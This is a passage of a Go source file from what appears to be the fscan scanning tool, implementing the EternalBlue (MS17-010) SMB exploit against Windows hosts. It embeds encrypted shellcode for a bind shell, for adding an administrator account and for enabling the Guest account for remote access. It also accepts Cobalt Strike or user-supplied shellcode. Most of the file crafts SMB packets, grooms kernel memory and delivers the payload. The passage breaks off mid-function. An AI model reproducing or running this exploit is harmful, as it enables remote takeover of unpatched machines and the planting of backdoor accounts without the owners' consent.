fscan/Plugins/MS17010-Exp.go
2024-12-20 03:46:09 +08:00

1423 lines
45 KiB
Go

package Plugins
import (
"bytes"
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"io/ioutil"
"net"
"strings"
"time"
)
// MS17010EXP 执行MS17-010漏洞利用
func MS17010EXP(info *Common.HostInfo) {
address := info.Host + ":445"
var sc string
// 根据不同类型选择shellcode
switch Common.Shellcode {
case "bind":
// msfvenom生成的Bind Shell, 监听64531端口
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err))
return
}
case "cs":
// Cobalt Strike生成的shellcode
sc = ""
case "add":
// 添加系统管理员账户并配置远程访问
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8"
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err))
return
}
case "guest":
// 激活Guest账户并配置远程访问
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err))
return
}
default:
// 从文件读取或直接使用提供的shellcode
if strings.Contains(Common.Shellcode, "file:") {
read, err := ioutil.ReadFile(Common.Shellcode[5:])
if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
return
}
sc = fmt.Sprintf("%x", read)
} else {
sc = Common.Shellcode
}
}
// 验证shellcode有效性
if len(sc) < 20 {
fmt.Println("[-] 无效的Shellcode")
return
}
// 解码shellcode
sc1, err := hex.DecodeString(sc)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err))
return
}
// 执行EternalBlue漏洞利用
err = eternalBlue(address, 12, 12, sc1)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err))
return
}
Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host))
}
// eternalBlue 执行EternalBlue漏洞利用
func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error {
// 检查shellcode大小
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度
scLen := len(sc)
if scLen > maxscSize {
return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)",
scLen, maxscSize, scLen-maxscSize)
}
// 构造内核用户空间payload
payload := makeKernelUserPayload(sc)
// 多次尝试利用
var (
grooms int
err error
)
for i := 0; i < maxAttempts; i++ {
grooms = initialGrooms + 5*i
if err = exploit(address, grooms, payload); err == nil {
return nil // 利用成功
}
}
return err // 返回最后一次尝试的错误
}
// exploit 执行EternalBlue漏洞利用核心逻辑
func exploit(address string, grooms int, payload []byte) error {
// 建立SMB1匿名IPC连接
header, conn, err := smb1AnonymousConnectIPC(address)
if err != nil {
return fmt.Errorf("[-] 建立SMB连接失败: %v", err)
}
defer func() { _ = conn.Close() }()
// 发送SMB1大缓冲区数据
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
}
if err = smb1LargeBuffer(conn, header); err != nil {
return fmt.Errorf("[-] 发送大缓冲区失败: %v", err)
}
// 初始化内存喷射线程
fhsConn, err := smb1FreeHole(address, true)
if err != nil {
return fmt.Errorf("[-] 初始化内存喷射失败: %v", err)
}
defer func() { _ = fhsConn.Close() }()
// 第一轮内存喷射
groomConns, err := smb2Grooms(address, grooms)
if err != nil {
return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err)
}
// 释放内存并执行第二轮喷射
fhfConn, err := smb1FreeHole(address, false)
if err != nil {
return fmt.Errorf("[-] 释放内存失败: %v", err)
}
_ = fhsConn.Close()
// 执行第二轮内存喷射
groomConns2, err := smb2Grooms(address, 6)
if err != nil {
return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err)
}
_ = fhfConn.Close()
// 合并所有喷射连接
groomConns = append(groomConns, groomConns2...)
defer func() {
for _, conn := range groomConns {
_ = conn.Close()
}
}()
// 发送最终漏洞利用数据包
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
}
finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit")
if _, err = conn.Write(finalPacket); err != nil {
return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err)
}
// 获取响应并检查状态
raw, _, err := smb1GetResponse(conn)
if err != nil {
return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err)
}
// 提取NT状态码
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus))
// 发送payload
Common.LogSuccess("[*] 开始发送Payload")
body := makeSMB2Body(payload)
// 分段发送payload
for _, conn := range groomConns {
if _, err = conn.Write(body[:2920]); err != nil {
return fmt.Errorf("[-] 发送Payload第一段失败: %v", err)
}
}
for _, conn := range groomConns {
if _, err = conn.Write(body[2920:4073]); err != nil {
return fmt.Errorf("[-] 发送Payload第二段失败: %v", err)
}
}
Common.LogSuccess("[+] Payload发送完成")
return nil
}
// makeKernelUserPayload 构建内核用户空间Payload
func makeKernelUserPayload(sc []byte) []byte {
// 创建缓冲区
buf := bytes.Buffer{}
// 写入loader代码
buf.Write(loader[:])
// 写入shellcode大小(uint16)
size := make([]byte, 2)
binary.LittleEndian.PutUint16(size, uint16(len(sc)))
buf.Write(size)
// 写入shellcode内容
buf.Write(sc)
return buf.Bytes()
}
// smb1AnonymousConnectIPC 创建SMB1匿名IPC连接
func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err)
}
// 连接状态标记
var ok bool
defer func() {
if !ok {
_ = conn.Close()
}
}()
// SMB协议协商
if err = smbClientNegotiate(conn); err != nil {
return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
}
// 匿名登录
raw, header, err := smb1AnonymousLogin(conn)
if err != nil {
return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err)
}
// 获取系统版本信息
if _, err = getOSName(raw); err != nil {
return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err)
}
// 连接IPC共享
header, err = treeConnectAndX(conn, address, header.UserID)
if err != nil {
return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err)
}
ok = true
return header, conn, nil
}
// SMB头部大小常量
const smbHeaderSize = 32
// smbHeader SMB协议头部结构
type smbHeader struct {
ServerComponent [4]byte // 服务器组件标识
SMBCommand uint8 // SMB命令码
ErrorClass uint8 // 错误类别
Reserved byte // 保留字节
ErrorCode uint16 // 错误代码
Flags uint8 // 标志位
Flags2 uint16 // 扩展标志位
ProcessIDHigh uint16 // 进程ID高位
Signature [8]byte // 签名
Reserved2 [2]byte // 保留字节
TreeID uint16 // 树连接ID
ProcessID uint16 // 进程ID
UserID uint16 // 用户ID
MultiplexID uint16 // 多路复用ID
}
// smb1GetResponse 获取SMB1协议响应数据
func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
// 读取NetBIOS会话服务头
buf := make([]byte, 4)
if _, err := io.ReadFull(conn, buf); err != nil {
return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err)
}
// 校验消息类型
messageType := buf[0]
if messageType != 0x00 {
return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType)
}
// 解析消息体大小
sizeBuf := make([]byte, 4)
copy(sizeBuf[1:], buf[1:])
messageSize := int(binary.BigEndian.Uint32(sizeBuf))
// 读取SMB消息体
buf = make([]byte, messageSize)
if _, err := io.ReadFull(conn, buf); err != nil {
return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err)
}
// 解析SMB头部
header := smbHeader{}
reader := bytes.NewReader(buf[:smbHeaderSize])
if err := binary.Read(reader, binary.LittleEndian, &header); err != nil {
return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err)
}
return buf, &header, nil
}
// smbClientNegotiate 执行SMB协议协商
func smbClientNegotiate(conn net.Conn) error {
buf := bytes.Buffer{}
// 构造NetBIOS会话服务头
if err := writeNetBIOSHeader(&buf); err != nil {
return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBHeader(&buf); err != nil {
return fmt.Errorf("[-] 构造SMB头失败: %v", err)
}
// 构造协议协商请求
if err := writeNegotiateRequest(&buf); err != nil {
return fmt.Errorf("[-] 构造协议协商请求失败: %v", err)
}
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err)
}
// 获取响应
if _, _, err := smb1GetResponse(conn); err != nil {
return fmt.Errorf("[-] 获取协议协商响应失败: %v", err)
}
return nil
}
// writeNetBIOSHeader 写入NetBIOS会话服务头
func writeNetBIOSHeader(buf *bytes.Buffer) error {
// 消息类型: Session Message
buf.WriteByte(0x00)
// 长度(固定值)
buf.Write([]byte{0x00, 0x00, 0x54})
return nil
}
// writeSMBHeader 写入SMB协议头
func writeSMBHeader(buf *bytes.Buffer) error {
// SMB协议标识: .SMB
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// 命令: Negotiate Protocol
buf.WriteByte(0x72)
// NT状态码
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 标志位
buf.WriteByte(0x18)
// 标志位2
buf.Write([]byte{0x01, 0x28})
// 进程ID高位
buf.Write([]byte{0x00, 0x00})
// 签名
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
// 保留字段
buf.Write([]byte{0x00, 0x00})
// 树ID
buf.Write([]byte{0x00, 0x00})
// 进程ID
buf.Write([]byte{0x2F, 0x4B})
// 用户ID
buf.Write([]byte{0x00, 0x00})
// 多路复用ID
buf.Write([]byte{0xC5, 0x5E})
return nil
}
// writeNegotiateRequest 写入协议协商请求
func writeNegotiateRequest(buf *bytes.Buffer) error {
// 字段数
buf.WriteByte(0x00)
// 字节数
buf.Write([]byte{0x31, 0x00})
// 写入支持的方言
dialects := [][]byte{
{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00}, // LAN MAN1.0
{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00}, // LM1.2X002
{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}, // NT LAN MAN 1.0
{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00}, // NT LM 0.12
}
for _, dialect := range dialects {
buf.WriteByte(0x02) // 方言标记
buf.Write(dialect)
}
return nil
}
// smb1AnonymousLogin 执行SMB1匿名登录
func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
buf := bytes.Buffer{}
// 构造NetBIOS会话服务头
if err := writeNetBIOSLoginHeader(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBLoginHeader(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
}
// 构造会话设置请求
if err := writeSessionSetupRequest(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err)
}
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err)
}
// 获取响应
return smb1GetResponse(conn)
}
// writeNetBIOSLoginHeader 写入NetBIOS会话服务头
func writeNetBIOSLoginHeader(buf *bytes.Buffer) error {
// 消息类型: Session Message
buf.WriteByte(0x00)
// 长度
buf.Write([]byte{0x00, 0x00, 0x88})
return nil
}
// writeSMBLoginHeader 写入SMB协议头
func writeSMBLoginHeader(buf *bytes.Buffer) error {
// SMB标识
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// 命令: Session Setup AndX
buf.WriteByte(0x73)
// NT状态码
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 标志位
buf.WriteByte(0x18)
// 标志位2
buf.Write([]byte{0x07, 0xC0})
// 进程ID高位
buf.Write([]byte{0x00, 0x00})
// 签名1
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 签名2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 树ID
buf.Write([]byte{0x00, 0x00})
// 进程ID
buf.Write([]byte{0xFF, 0xFE})
// 保留字段
buf.Write([]byte{0x00, 0x00})
// 用户ID
buf.Write([]byte{0x00, 0x00})
// 多路复用ID
buf.Write([]byte{0x40, 0x00})
return nil
}
// writeSessionSetupRequest 写入会话设置请求
func writeSessionSetupRequest(buf *bytes.Buffer) error {
// 字段数
buf.WriteByte(0x0D)
// 无后续命令
buf.WriteByte(0xFF)
// 保留字段
buf.WriteByte(0x00)
// AndX偏移
buf.Write([]byte{0x88, 0x00})
// 最大缓冲区
buf.Write([]byte{0x04, 0x11})
// 最大并发数
buf.Write([]byte{0x0A, 0x00})
// VC编号
buf.Write([]byte{0x00, 0x00})
// 会话密钥
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// ANSI密码长度
buf.Write([]byte{0x01, 0x00})
// Unicode密码长度
buf.Write([]byte{0x00, 0x00})
// 保留字段
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 功能标志
buf.Write([]byte{0xD4, 0x00, 0x00, 0x00})
// 字节数
buf.Write([]byte{0x4b, 0x00})
// 认证信息
buf.WriteByte(0x00) // ANSI密码
buf.Write([]byte{0x00, 0x00}) // 账户名
buf.Write([]byte{0x00, 0x00}) // 域名
// 写入操作系统信息
writeOSInfo(buf)
return nil
}
// writeOSInfo 写入操作系统信息
func writeOSInfo(buf *bytes.Buffer) {
// 原生操作系统: Windows 2000 2195
osInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00,
0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00,
0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x32, 0x00,
0x31, 0x00, 0x39, 0x00, 0x35, 0x00, 0x00, 0x00}
buf.Write(osInfo)
// 原生LAN Manager: Windows 2000 5.0
lanInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00,
0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00,
0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x35, 0x00,
0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}
buf.Write(lanInfo)
}
// getOSName 从SMB响应中提取操作系统名称
// 跳过SMB头部、字数统计、AndX命令、保留字段、AndX偏移量、操作标志、字节数以及魔数0x41(A)
func getOSName(raw []byte) (string, error) {
// 创建缓冲区存储操作系统名称
osBuf := bytes.Buffer{}
// 创建读取器,定位到操作系统名称开始位置
reader := bytes.NewReader(raw[smbHeaderSize+10:])
// 读取UTF-16编码的操作系统名称
char := make([]byte, 2)
for {
if _, err := io.ReadFull(reader, char); err != nil {
return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err)
}
// 遇到结束符(0x00 0x00)时退出
if bytes.Equal(char, []byte{0x00, 0x00}) {
break
}
osBuf.Write(char)
}
// 将UTF-16编码转换为ASCII编码
bufLen := osBuf.Len()
osName := make([]byte, 0, bufLen/2)
rawBytes := osBuf.Bytes()
// 每隔两个字节取一个字节(去除UTF-16的高字节)
for i := 0; i < bufLen; i += 2 {
osName = append(osName, rawBytes[i])
}
return string(osName), nil
}
// treeConnectAndX 执行SMB树连接请求
func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) {
buf := bytes.Buffer{}
// 构造NetBIOS会话服务头
if err := writeNetBIOSTreeHeader(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBTreeHeader(&buf, userID); err != nil {
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
}
// 构造树连接请求
if err := writeTreeConnectRequest(&buf, address); err != nil {
return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err)
}
// 更新数据包大小
updatePacketSize(&buf)
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err)
}
// 获取响应
_, header, err := smb1GetResponse(conn)
if err != nil {
return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err)
}
return header, nil
}
// writeNetBIOSTreeHeader 写入NetBIOS会话服务头
func writeNetBIOSTreeHeader(buf *bytes.Buffer) error {
// 消息类型
buf.WriteByte(0x00)
// 长度(稍后更新)
buf.Write([]byte{0x00, 0x00, 0x00})
return nil
}
// writeSMBTreeHeader 写入SMB协议头
func writeSMBTreeHeader(buf *bytes.Buffer, userID uint16) error {
// SMB标识
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// 命令: Tree Connect AndX
buf.WriteByte(0x75)
// NT状态码
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 标志位
buf.WriteByte(0x18)
// 标志位2
buf.Write([]byte{0x01, 0x20})
// 进程ID高位
buf.Write([]byte{0x00, 0x00})
// 签名
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
// 保留字段
buf.Write([]byte{0x00, 0x00})
// 树ID
buf.Write([]byte{0x00, 0x00})
// 进程ID
buf.Write([]byte{0x2F, 0x4B})
// 用户ID
userIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(userIDBuf, userID)
buf.Write(userIDBuf)
// 多路复用ID
buf.Write([]byte{0xC5, 0x5E})
return nil
}
// writeTreeConnectRequest 写入树连接请求
func writeTreeConnectRequest(buf *bytes.Buffer, address string) error {
// 字段数
buf.WriteByte(0x04)
// 无后续命令
buf.WriteByte(0xFF)
// 保留字段
buf.WriteByte(0x00)
// AndX偏移
buf.Write([]byte{0x00, 0x00})
// 标志位
buf.Write([]byte{0x00, 0x00})
// 密码长度
buf.Write([]byte{0x01, 0x00})
// 字节数
buf.Write([]byte{0x1A, 0x00})
// 密码
buf.WriteByte(0x00)
// IPC路径
host, _, err := net.SplitHostPort(address)
if err != nil {
return fmt.Errorf("[-] 解析地址失败: %v", err)
}
_, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host)
// IPC结束符
buf.WriteByte(0x00)
// 服务类型
buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00})
return nil
}
// updatePacketSize 更新数据包大小
func updatePacketSize(buf *bytes.Buffer) {
b := buf.Bytes()
sizeBuf := make([]byte, 4)
binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4))
copy(b[1:], sizeBuf[1:])
}
// smb1LargeBuffer 发送大缓冲区数据包
func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
// 发送NT Trans请求获取事务头
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
if err != nil {
return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
}
treeID := transHeader.TreeID
userID := transHeader.UserID
// 构造数据包
var transPackets []byte
// 添加初始Trans2请求包
initialPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero")
transPackets = append(transPackets, initialPacket...)
// 添加中间的Trans2数据包
for i := 1; i < 15; i++ {
packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer")
transPackets = append(transPackets, packet...)
}
// 添加Echo数据包
echoPacket := makeSMB1EchoPacket(treeID, userID)
transPackets = append(transPackets, echoPacket...)
// 发送组合数据包
if _, err := conn.Write(transPackets); err != nil {
return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err)
}
// 获取响应
if _, _, err := smb1GetResponse(conn); err != nil {
return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err)
}
return nil
}
// sendNTTrans 发送NT Trans请求
func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
buf := bytes.Buffer{}
// 构造NetBIOS会话服务头
if err := writeNetBIOSNTTransHeader(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil {
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
}
// 构造NT Trans请求
if err := writeNTTransRequest(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err)
}
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
}
// 获取响应
_, header, err := smb1GetResponse(conn)
if err != nil {
return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err)
}
return header, nil
}
// writeNetBIOSNTTransHeader 写入NetBIOS会话服务头
func writeNetBIOSNTTransHeader(buf *bytes.Buffer) error {
// 消息类型
buf.WriteByte(0x00)
// 长度
buf.Write([]byte{0x00, 0x04, 0x38})
return nil
}
// writeSMBNTTransHeader 写入SMB协议头
func writeSMBNTTransHeader(buf *bytes.Buffer, treeID, userID uint16) error {
// SMB标识
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// 命令: NT Trans
buf.WriteByte(0xA0)
// NT状态码
